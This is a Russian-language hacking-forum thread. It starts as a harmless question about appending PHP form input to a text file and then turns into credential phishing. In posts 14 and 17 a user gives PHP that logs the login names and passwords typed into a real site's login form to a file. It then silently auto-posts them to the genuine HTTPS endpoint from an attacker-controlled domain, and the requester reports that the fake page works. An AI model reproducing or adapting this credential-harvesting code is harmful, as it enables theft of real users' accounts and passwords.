Php сохранение в txt

Discussion in 'PHP' started by XIII, 22 Sep 2006.

  1. XIII

    XIII Elder - Старейшина

    Joined:
    6 Feb 2006
    Messages:
    109
    Likes Received:
    17
    Reputations:
    -1
    народ подскажите пожалуйста скрипт
    мне надо чтобы человек заполнил форму и эти все данные сохранились в txt файл
     
  2. off

    off Banned

    Joined:
    21 Aug 2006
    Messages:
    55
    Likes Received:
    37
    Reputations:
    6
    дозапись в файл

    <?
    $file = fopen("file.txt", "a+");

    //переменные из формы ;)
    $str = "text";

    fputs($file, $str);

    fclose ($file);

    ?>

    вот, а дальше сам уж %))) я думаю передать из формы переменные не составит труда ....

    Чекай php.ru )
     
  3. XIII

    XIII Elder - Старейшина

    Joined:
    6 Feb 2006
    Messages:
    109
    Likes Received:
    17
    Reputations:
    -1
    =) спс большое буду пробовать ноя ламер врятли получится
     
  4. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    Чтобы получить данные из формы, используй переменные $_post и/или $_get
    Только названия переменных заглавными должны быть.
     
    #4 SMiX, 22 Sep 2006
    Last edited: 22 Sep 2006
    1 person likes this.
  5. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    в зависимости от размера данных. длина get-запроса не может превышать 1024 символа.
     
    1 person likes this.
  6. XIII

    XIII Elder - Старейшина

    Joined:
    6 Feb 2006
    Messages:
    109
    Likes Received:
    17
    Reputations:
    -1
    А можету кого страничка есть с этим скриптом? а то что-то не получается =( кину 10 центов =)
     
  7. Tem

    Tem -

    Joined:
    5 Oct 2005
    Messages:
    557
    Likes Received:
    157
    Reputations:
    179
    PHP:
    <?php
    if($_POST['content']){
    $fh fopen("file.txt""w");
    fwrite($fh$_POST['content']);
    fclose($fh);
    }
    ?><form method=post>
    <textarea name=content><?php echo file_get_contents("file.txt"); ?></textarea>
    <input type=submit value="Отправить">
    </form>
    Так накинул тута на 5 мин и вот что вышла , после того как делаеш отправить создаётся файл file.txt и всё что написсано было в тексареи заносится туда.
     
  8. XIII

    XIII Elder - Старейшина

    Joined:
    6 Feb 2006
    Messages:
    109
    Likes Received:
    17
    Reputations:
    -1
    так текст удаляется =( а надо чтобы оставался и каждое новое сообщение было с новой строки
     
  9. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    выложи свою форму! и те все напишут!
    а есле хош чеб всё было с новой с троки, то запись в файл должан выглядить так :
    PHP:
    $fh fopen("file.txt""a"); 
    fwrite($fh$_POST['content']."\n");
    короч пример че писал TEM над изменить на:

    PHP:
    <?php
    if($_POST['content']){
    $fh fopen("file.txt""a");
    fwrite($fh$_POST['content']."\n");
    fclose($fh);
    }
    ?><form method=post>
    <textarea name=content></textarea>
    <input type=submit value="Отправить">
    </form>
     
    #9 nc.STRIEM, 23 Sep 2006
    Last edited: 23 Sep 2006
  10. XIII

    XIII Elder - Старейшина

    Joined:
    6 Feb 2006
    Messages:
    109
    Likes Received:
    17
    Reputations:
    -1
    меня устраивает твоя =)
    слу всё клёва но можно ли доавить ещё 2 формы и чтобы все записывались в одну строку
     
  11. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    PHP:
    <?php
    if(isset($_POST['content'],$_POST['content1'],$_POST['content2'])){
    $fh fopen("file.txt""a");
    fwrite($fh$_POST['content'].' '.$_POST['content1'].' '.$_POST['content2']."\n");
    fclose($fh);
    }
    ?><form method=post>
    <textarea name=content></textarea><br />
    <textarea name=content1></textarea><br />
    <textarea name=content2></textarea><br />
    <input type=submit value="Отправить">
    </form>
     
  12. XIII

    XIII Elder - Старейшина

    Joined:
    6 Feb 2006
    Messages:
    109
    Likes Received:
    17
    Reputations:
    -1
    респект
     
  13. edos

    edos Member

    Joined:
    29 Aug 2005
    Messages:
    115
    Likes Received:
    26
    Reputations:
    9
    а если есть вот такой код, что добавить чтоб вводимые данные сохранялись в файл:

    PHP:
    <%
    if (!
    login) {
    %>
    <
    div align="right">
    <
    form action='https://**************.ru/j_security_check' method='POST'>
    <
    input type="hidden" name="j_uri" value="index.jsp"/>
      <
    table class="login">
        <
    tr><td><b>Логин:</td><td><input type="text" name="j_username"></td></tr>
        <
    tr><td><b>Пароль:</td><td><input type="password" name="j_password"></td></tr>
        <
    tr><td colspan="2" align="right" style="padding:1pt 2pt">
            <
    input type="submit" value="Вход" style="text-align:center;width:80px">
        </
    td></tr>
      </
    table>
    </
    form>
    </
    div>
    <%
    } else {
    %>
    <
    div align="right">
    <
    a href="logout.jsp">Выйти [<%=Util.getUserLogin(request)%>]</a>
    </
    div>
    <%
    }
    %>
     
    #13 edos, 25 Sep 2006
    Last edited by a moderator: 25 Sep 2006
  14. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    Эт те нужно иметь доступ к файлу https://**************.ru/j_security_check
    те над будет сделать на нем расширение php и вписать это в форме: action='https://**************.ru/j_security_check.php'
    а в том файле следующий код
    PHP:
    <?php
    if(isset($_POST['j_username'],  $_POST['j_password']))
      {
        
    $fo=fopen("log.txt""a");
         
    fwrite($fo"Логин:".$_POST['j_username']."\nПароль:".$_POST['j_password']."\n\n");
       
    fclose($fo);
    }
    ?>
     
    #14 nc.STRIEM, 25 Sep 2006
    Last edited: 25 Sep 2006
  15. edos

    edos Member

    Joined:
    29 Aug 2005
    Messages:
    115
    Likes Received:
    26
    Reputations:
    9
    доступа нет, могу поменять только там где форма. а можно сделать так, что переход сделать на http(без s)://**************.ru/j_security_check.php, а с него потом переадресацию на https://**************.ru/j_security_check ?

    может еще есть какие варики, отсылка на мыло или еще что нить?
     
  16. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    ...
     
  17. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    да можно сделать так: ты региш домен(есле у тя его нет) любой главное с поддержкой php заливаеш туда скрипт написаный ниже, и в своей форме меняеш значение action на адрес этого скрипта!
    PHP:
    <?php 
    if(isset($_POST['j_username'],  $_POST['j_password'])) 
      { 
        
    $fo=fopen("log.txt""a"); 
         
    fwrite($fo"Логин:".$_POST['j_username']."\nПароль:".$_POST['j_password']."\n\n"); 
       
    fclose($fo); 

    ?>
    <body onload="document.myform.submit()">
    <form action='https://**************.ru/j_security_check' method='POST' name=myform>
    <input type="hidden" name="j_uri" value="index.jsp"/>
    <input type="text" name="j_username" value=<?print $_POST['j_username'];?>>
    <input type="password" name="j_password" value=<?print $_POST['j_password'];?>>
     
    #17 nc.STRIEM, 25 Sep 2006
    Last edited: 25 Sep 2006
    1 person likes this.
  18. em00s7

    em00s7 Elder - Старейшина

    Joined:
    2 May 2006
    Messages:
    169
    Likes Received:
    37
    Reputations:
    -10
    ГЫГЫ а с каких пор домен стал поддерживать php ?)))))))
    я подсталом.
     
  19. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Короче почитай! http://rst.void.ru/papers/site.txt
     
  20. edos

    edos Member

    Joined:
    29 Aug 2005
    Messages:
    115
    Likes Received:
    26
    Reputations:
    9

    все работает на ура, только просматриваются формочки на фейковой странице, можно их как-нить убрать не мешая общему процессу ?